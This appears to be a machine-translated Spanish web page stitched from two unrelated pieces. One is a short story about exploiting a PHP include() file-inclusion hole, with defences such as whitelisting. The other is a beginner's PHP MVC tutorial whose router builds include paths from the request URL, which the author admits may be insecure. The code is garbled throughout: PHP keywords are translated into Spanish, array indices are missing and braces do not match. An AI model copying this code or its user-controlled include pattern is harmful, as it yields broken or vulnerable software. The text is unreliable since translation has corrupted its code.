Ni siquiera podía imaginar que un día (en el frío invierno) un tal curioso Vasya Pupkin entraría en el lugar. ¿Quién, basándose en su curiosidad al mirar estos mismos enlaces, asumiría (aunque todavía no sabe cómo y qué hay realmente allí) que el parámetro del archivo no es más que el nombre y la ruta al archivo y que el script usa el comando include? función (no es sorprendente, porque hoy en día incluir se usa en casi uno de cada tres scripts). Vasya inmediatamente decidió comprobar su suposición de la siguiente manera:
Vasya cumplió la siguiente petición:
¡Y lo hizo! Como era de esperar, en la ventana del navegador vio una lista de archivos y directorios. Más adelante se descubrió el “agujero” y se utilizaron escenarios no menos interesantes, descripción detallada lo cual ocuparía mucho espacio y por estas razones no se publican aquí :) En general, ya sea largo o corto, todo terminó en desfiguración (deformación - sustitución pagina de inicio al tuyo). ¡Qué triste historia!
control de plagas
Después de leer todo lo anterior, muchos de ustedes se preguntarán: “¿Existen métodos para combatir esta terrible vulnerabilidad?” “Sí”, respondo con orgullo :) . Éstos son algunos (de ninguna manera todos) de ellos:
La forma más sencilla, desde el punto de vista de la programación, es convertir la variable $module a un formato numérico (settype($module,"integer"), pero esto requerirá numerar los módulos y también recopilarlos en un directorio ("module1 .php”, “módulo2.php”…”módulo.php”).
Un método de control de plagas más complejo desde el punto de vista de la implementación :) es la creación de una lista de archivos separada de módulos que se pueden ejecutar. Y dependiendo de si este o aquel módulo está en la lista, ejecuta o tira el error correspondiente (o ejecuta el módulo por defecto, o si quieres asustar al “experimentador” dándole un mensaje de que su dirección está arreglada y para que seca galletas... ).
Ejemplo:
switch ($case) // $case - nombre de la variable pasada como parámetro al script
{
noticias del caso:
incluir("noticias.php");
romper;
artículos de casos:
incluir("libro de visitas.php");
romper;
... // etc.
por defecto:
incluir("index.php"); // si la variable $case no contiene el valor que se tiene en cuenta arriba, entonces se abre la página principal
romper;
}
El tercer método es intermedio, algo entre el primero y el segundo. Sólo necesita reemplazar todos los caracteres de servicio (""..","/",""), por ejemplo, con guiones. Es cierto que los módulos (¡¡¡solo los módulos ejecutables y nada más deben ubicarse allí!!!) en este caso deben ubicarse en el mismo directorio, pero sus nombres pueden ser palabras normales (por ejemplo, "noticias", "libro de visitas", etc. .).
Conclusión
Eso es básicamente todo lo que quería decirte esta vez. La conclusión de todo esto podría ser la siguiente: antes de utilizar los datos recibidos del usuario en sus scripts web, piense si es necesario verificarlos previamente y procesarlos adecuadamente. Esto se aplica no sólo a los campos de datos de formulario transmitidos por el navegador ( obtener métodos y publicar), pero también cookies (un atacante también puede acceder a ellas).
Muchas personas comienzan a escribir un proyecto para trabajar con una sola tarea, sin implicar que pueda convertirse en un sistema de gestión multiusuario, por ejemplo, contenido o, Dios no lo quiera, producción. Y todo parece genial y genial, todo funciona, hasta que empiezas a comprender que el código que se escribe consiste enteramente en muletas y código duro. El código se mezcla con diseño, consultas y muletas, a veces incluso ilegible. Surge un problema urgente: al agregar nuevas funciones, hay que jugar con este código durante mucho tiempo, recordando "¿qué estaba escrito allí?" y maldicete en el pasado.Es posible que incluso hayas oído hablar de patrones de diseño e incluso hayas hojeado estos maravillosos libros:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides “Técnicas de diseño orientada a objetos. Patrones de diseño";
- M. Fowler "Arquitectura de aplicaciones de software empresarial".
Este artículo será útil principalmente para principiantes. En cualquier caso, espero que en un par de horas pueda hacerse una idea de la implementación del patrón MVC, que subyace a todos los marcos web modernos, y también obtener "alimento" para una mayor reflexión sobre "cómo hazlo." Al final del artículo hay una selección de enlaces útiles que también le ayudarán a comprender en qué consisten los frameworks web (además de MVC) y cómo funcionan.
Es poco probable que los programadores PHP experimentados encuentren algo nuevo en este artículo, ¡pero sus comentarios y comentarios sobre el texto principal serán de gran ayuda! Porque Sin teoría la práctica es imposible, y sin práctica la teoría es inútil, luego primero habrá un poco de teoría y luego pasaremos a la práctica. Si ya está familiarizado con el concepto MVC, puede omitir la sección teórica e ir directamente a la práctica.
1. Teoría El patrón MVC describe una forma sencilla de estructurar una aplicación, cuyo propósito es separar la lógica empresarial de la interfaz de usuario. Como resultado, la aplicación es más fácil de escalar, probar, mantener y, por supuesto, implementar.Veamos el diagrama conceptual del patrón MVC (en mi opinión, este es el diagrama más exitoso que he visto):
En la arquitectura MVC, el modelo proporciona los datos y las reglas de lógica empresarial, la vista es responsable de la interfaz de usuario y el controlador proporciona la interacción entre el modelo y la vista.
Un flujo típico de una aplicación MVC se puede describir de la siguiente manera:
Esto muestra una vista de, digamos, la página principal del sitio.
que, por ejemplo, contiene llamadas a modelos que leen información de la base de datos.
El modelo no debe interactuar directamente con el usuario. Todas las variables relacionadas con la solicitud del usuario deben procesarse en el controlador.
El modelo no debe generar HTML u otro código de visualización que pueda cambiar según las necesidades del usuario. Dicho código debe procesarse en vistas.
El mismo modelo, por ejemplo: el modelo de autenticación de usuario se puede utilizar tanto en la parte de usuario como en la parte administrativa de la aplicación. En este caso, puede mover el código general a una clase separada y heredar de él, definiendo métodos específicos para subaplicaciones en los descendientes.
Ver: se utiliza para especificar la visualización externa de los datos recibidos del controlador y el modelo.
Las vistas contienen marcado HTML y pequeñas inserciones de código PHP para recorrer, formatear y mostrar datos.
No debe acceder directamente a la base de datos. Esto es lo que deberían hacer los modelos.
No debería funcionar con datos obtenidos a partir de una solicitud de usuario. Esta tarea debe ser realizada por el controlador.
Puede acceder directamente a las propiedades y métodos de un controlador o modelos para obtener datos listos para la salida.
Las vistas generalmente se dividen en una plantilla general, que contiene marcas comunes a todas las páginas (por ejemplo, un encabezado y pie de página) y partes de la plantilla que se utilizan para mostrar la salida de datos del modelo o mostrar formularios de entrada de datos.
El controlador es el pegamento que conecta modelos, vistas y otros componentes en una aplicación funcional. El responsable del tratamiento es responsable de procesar las solicitudes de los usuarios. El controlador no debe contener consultas SQL. Es mejor mantenerlos en modelos. El controlador no debe contener HTML ni otro tipo de marcado. Vale la pena ponerlo a la vista.
En una aplicación MVC bien diseñada, los controladores suelen ser muy delgados y contienen sólo unas pocas docenas de líneas de código. No se puede decir lo mismo de los Inspectores Gordos Estúpidos (SFC) en CMS Joomla. La lógica del controlador es bastante típica y la mayor parte se transfiere a clases base.
Los modelos, por el contrario, son muy gruesos y contienen la mayor parte del código relacionado con el procesamiento de datos, porque La estructura de datos y la lógica empresarial que contiene suelen ser bastante específicas de una aplicación en particular.
Espero que ya hayas notado que diferentes sitios pueden tener formatos completamente diferentes para construir la barra de direcciones. Cada formato puede mostrar la arquitectura de una aplicación web. Aunque no siempre es así, en la mayoría de los casos es un hecho claro.
Consideremos dos opciones para la barra de direcciones, que muestran algo de texto y un perfil de usuario.
Primera opción:
Segunda opción:
Puede ver el enfoque de múltiples puntos de contacto en los foros de phpBB. El foro se ve a través del script viewforum.php, el tema se ve a través de viewtopic.php, etc. El segundo enfoque, al que se accede a través de un único archivo de script físico, se puede ver en mi CMS MODX favorito, donde todas las llamadas pasan por index.php.
Estos dos enfoques son completamente diferentes. El primero es típico del patrón Page Controller y el segundo enfoque lo implementa el patrón Front Controller. El controlador de página es bueno para sitios con una lógica bastante simple. A su vez, el controlador de solicitudes consolida todas las actividades de procesamiento de solicitudes en un solo lugar, lo que le brinda capacidades adicionales que pueden permitirle implementar tareas más complejas que las que normalmente resuelve el controlador de páginas. No entraré en detalles de la implementación del controlador de página, solo diré que en la parte práctica será el controlador de solicitudes (algo similar) el que se desarrollará.
1.2. Enrutamiento de URL El enrutamiento de URL le permite configurar su aplicación para aceptar solicitudes de URL que no coinciden. archivos reales aplicaciones, así como el uso de CNC, que son semánticamente significativos para los usuarios y preferidos para la optimización de motores de búsqueda.Por ejemplo, para página normal, al mostrar un formulario de comentarios, la URL podría verse así:
http://www.example.com/contacts.php?action=feedback
Código de procesamiento aproximado en este caso:
switch ($_GET ["acción" ]) (caso "acerca de": require_once ("acerca de.php"); // salto de página "Acerca de nosotros"; caso "contactos": require_once ("contactos.php"); // interrupción de la página "Contactos"; caso "comentarios": require_once ("feedback.php"); // interrupción de la página "comentarios"; predeterminado: require_once ("page404.php");
Creo que casi todo el mundo ha hecho esto antes.
Con un motor de enrutamiento de URL, puede configurar su aplicación para aceptar solicitudes como esta para mostrar la misma información:
http://www.example.com/contacts/feedback
Aquí los contactos representan el controlador y los comentarios son el método del controlador de contactos que muestra el formulario de comentarios, etc. Volveremos a esta cuestión en la parte práctica.
También vale la pena saber que los enrutadores de muchos marcos web le permiten crear rutas URL personalizadas (especifique qué significa cada parte de la URL) y reglas para procesarlas.
Ahora tenemos suficientes conocimientos teóricos para pasar a la práctica.
De cara al futuro, diré que las clases principales Modelo, Vista y Controlador se almacenarán en la carpeta principal.
Sus hijos se almacenarán en los directorios de controladores, modelos y vistas. El archivo index.php es el punto de entrada a la aplicación. El archivo bootstrap.php inicia la carga de la aplicación, conectando todos los módulos necesarios, etc.
Iremos de forma secuencial; Abramos el archivo index.php y rellénelo con el siguiente código:
ini_set("display_errors", 1); require_once "aplicación/bootstrap.php";
No debería haber ninguna pregunta aquí.
A continuación, vayamos inmediatamente al archivo bootstrap.php:
require_once "núcleo/model.php"; require_once "núcleo/view.php"; require_once "núcleo/controlador.php"; require_once "núcleo/ruta.php"; Ruta::inicio(); //iniciar el enrutador
Las primeras tres líneas incluirán archivos del kernel que actualmente no existen. Las últimas líneas incluyen el archivo con la clase de enrutador y lo lanzan para su ejecución llamando al método de inicio estático.
RewriteEngine en RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Este código redirigirá todo el procesamiento de la página a index.php, que es lo que necesitamos. ¿Recuerdas que en la primera parte hablamos del Front Controller?
Colocaremos la ruta en un archivo separado route.php en el directorio principal. En este archivo describiremos la clase Ruta, que ejecutará métodos de controlador, que a su vez generarán la vista de página.
Contenido del archivo route.php
class Ruta ( función estática inicio () ( // controlador y acción predeterminada $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // obtener el nombre del controlador if (!empty ($routes )) ( $controller_name = $routes ; ) // obtiene el nombre de la acción if (!empty ($routes )) ( $action_name = $routes ; ) // agrega prefijos $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name // conecta el archivo con la clase de modelo (puede que no haya un archivo de modelo) $model_file = strtolower; ($model_name ".php"; $model_path = "aplicación/modelos/" .$model_file; if (file_exists($model_path)) (incluye "aplicación/modelos/" .$model_file;) // conecta el archivo. con la clase de controlador $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (incluye "application/controllers/" .$controller_file ;
) else ( /* sería correcto lanzar una excepción aquí, pero para simplificar las cosas, redireccionaremos inmediatamente a la página 404 */ Route::ErrorPage404(); ) // crea un controlador $controller = new $controller_name ;
$acción = $nombre_acción;
if (method_exists($controller, $action)) ( // llamar a la acción del controlador $controller ->$action (); ) else ( // aquí también sería más prudente lanzar una excepción Route::ErrorPage404(); ) ) función ErrorPage404 ( ) ($host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; encabezado("HTTP/1.1 404 no encontrado" ); encabezado("Estado: 404 no encontrado" ) ; encabezado(" Ubicación:".$host ."404" ) );
dirección completa por el cual el usuario contactó. Por ejemplo: ejemplo.ru/contacts/feedback Usando la función Observo que la clase implementa una lógica muy simplificada (a pesar del voluminoso código) y puede incluso tener problemas de seguridad. Esto se hizo intencionalmente, porque... Escribir una clase de enrutamiento completa merece al menos un artículo aparte. Veamos los puntos principales... La dirección se divide en componentes. Como resultado, obtenemos el nombre del controlador, en el ejemplo dado, este es controlador.
contactos
Así, al dirigirse a, por ejemplo, la dirección:
ejemplo.com/portfolio
El elemento de matriz global $_SERVER["REQUEST_URI"] contiene la dirección completa a la que se comunicó el usuario.
ejemplo.com/portfolio/index
Por ejemplo: ejemplo.ru/contacts/feedback
ejemplo.com/ufo
El enrutador realizará las siguientes acciones:
ejemplo.com/404
Lo mismo ocurrirá si el usuario accede a una acción que no está descrita en el responsable del tratamiento.2.2. Volvamos a la implementación de MVC. Vayamos a la carpeta principal y agreguemos tres archivos más al archivo route.php: model.php, view.php y controlador.php.
Permítanme recordarles que contendrán clases base, que ahora comenzaremos a escribir.
Contenido del archivo model.php
Modelo de clase (función pública get_data () ())
La clase modelo contiene un único método de recuperación de datos vacío, que se anulará en las clases descendientes. Cuando creemos clases descendientes todo quedará más claro.
Contenido del archivo view.php
class View ( //public $template_view; // aquí puede especificar la vista general predeterminada. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convertir matriz elementos en variables extract($data); */ incluyen "aplicación/vistas/".$template_view;
No es difícil adivinar que el método generar destinado a formar una vista. Se le pasan los siguientes parámetros:
para mostrar el contenido de una página específica.
En nuestro caso, la plantilla general contendrá encabezado, menú, barra lateral y pie de página, y el contenido de la página estará contenido en un formulario separado. Nuevamente, esto se hace por simplicidad.
Contenido del archivo controlador.php
controlador de clase (público $modelo; público $vista; función __construct () ( $this ->vista = nueva Vista(); ) ) )
Método índice_acción- esta es la acción llamada por defecto; la anularemos al implementar clases descendientes.
En la figura anterior, el archivo template_view.php está resaltado por separado; esta es una plantilla que contiene marcas comunes a todas las páginas. En el caso más sencillo podría verse así:
Hogar
Para darle al sitio un aspecto presentable, creamos una plantilla CSS y la integramos en nuestro sitio cambiando la estructura del marcado HTML y conectando archivos CSS y JavaScript:
Al final del artículo, en la sección “Resultado”, hay un enlace a un repositorio de GitHub con un proyecto en el que se han dado pasos para integrar una plantilla sencilla.
clase Controller_Main extiende el controlador (función action_index () ($this ->view->generate("main_view.php", "template_view.php"); ) )
en método generar instancia de la clase Ver, se pasan los nombres de los archivos de la plantilla general y la vista con el contenido de la página.
Además de la acción de índice, el controlador puede, por supuesto, contener otras acciones.
Revisamos el archivo de vista general anteriormente. Considere el archivo de contenido main_view.php:
¡Bienvenido! OLOLOSHA TEAM es un equipo de especialistas de primer nivel en el campo del desarrollo de sitios web con muchos años de experiencia en la recolección de máscaras mexicanas, estatuas de bronce y piedra de la India y Ceilán, bajorrelieves y esculturas creadas por maestros de África Ecuatorial durante cinco o seis siglos. atrás...
Contiene marcado simple sin llamadas PHP.
Para mostrar la página principal, puede utilizar una de las siguientes direcciones:
- métodos de bibliotecas que implementan la abstracción de datos. Por ejemplo, métodos de la biblioteca PEAR MDB2;
- métodos ORM;
- métodos para trabajar con NoSQL;
- etc. Para simplificar, aquí no utilizaremos consultas SQL ni declaraciones ORM. En su lugar, emularemos datos reales y devolveremos inmediatamente una serie de resultados.
- Plantilla()- sustituir un conjunto de variables en la plantilla y mostrarlas en la pantalla;
- esObtener()- comprobar si se completó una solicitud GET;
- Es publicación()- para comprobar si se completó la solicitud POST.
- Llamando al modelo (OnInput());
- Generación de HTML (OnOutput()). La primera fase debería funcionar en la siguiente secuencia:
- Controlador básico (C_Base);
- Un controlador específico (C_View o C_Edit). A continuación comienza la fase de generación de HTML, se debe proceder en orden inverso:
- Controlador específico (C_View o C_Edit);
- Controlador base (C_Base).
Coloque el archivo de modelo model_portfolio.php en la carpeta de modelos. Aquí tenéis su contenido:
clase Model_Portfolio extiende el modelo ( función pública get_data () ( return array (array ("Año" => "2012", "Sitio" => "http://DunkelBeer.ru" , "Descripción" => "Sitio promocional de cerveza oscura Dunkel del fabricante alemán Löwenbraü producida en Rusia por la empresa cervecera "SUN InBev." ), matriz ("Año" => "2012", "Sitio" => "http://ZopoMobile.ru" , "Descripción " => "Catálogo en ruso de teléfonos chinos de Zopo basados en el sistema operativo Android y accesorios para ellos."), // todo ) )
La clase de controlador del modelo está contenida en el archivo controlador_portfolio.php, aquí está su código:
clase Controller_Portfolio extiende Controlador ( función __construct () ($this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ($data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php", "template_view.php", $datos));
a una variable datos se escribe la matriz devuelta por el método obtener_datos que vimos antes.
Luego, esta variable se pasa como parámetro del método. generar, que también contiene: el nombre del archivo con la plantilla general y el nombre del archivo que contiene la vista con el contenido de la página.
La vista que contiene el contenido de la página se encuentra en el archivo portfolio_view.php.
Cartera
Año | Proyecto | Descripción |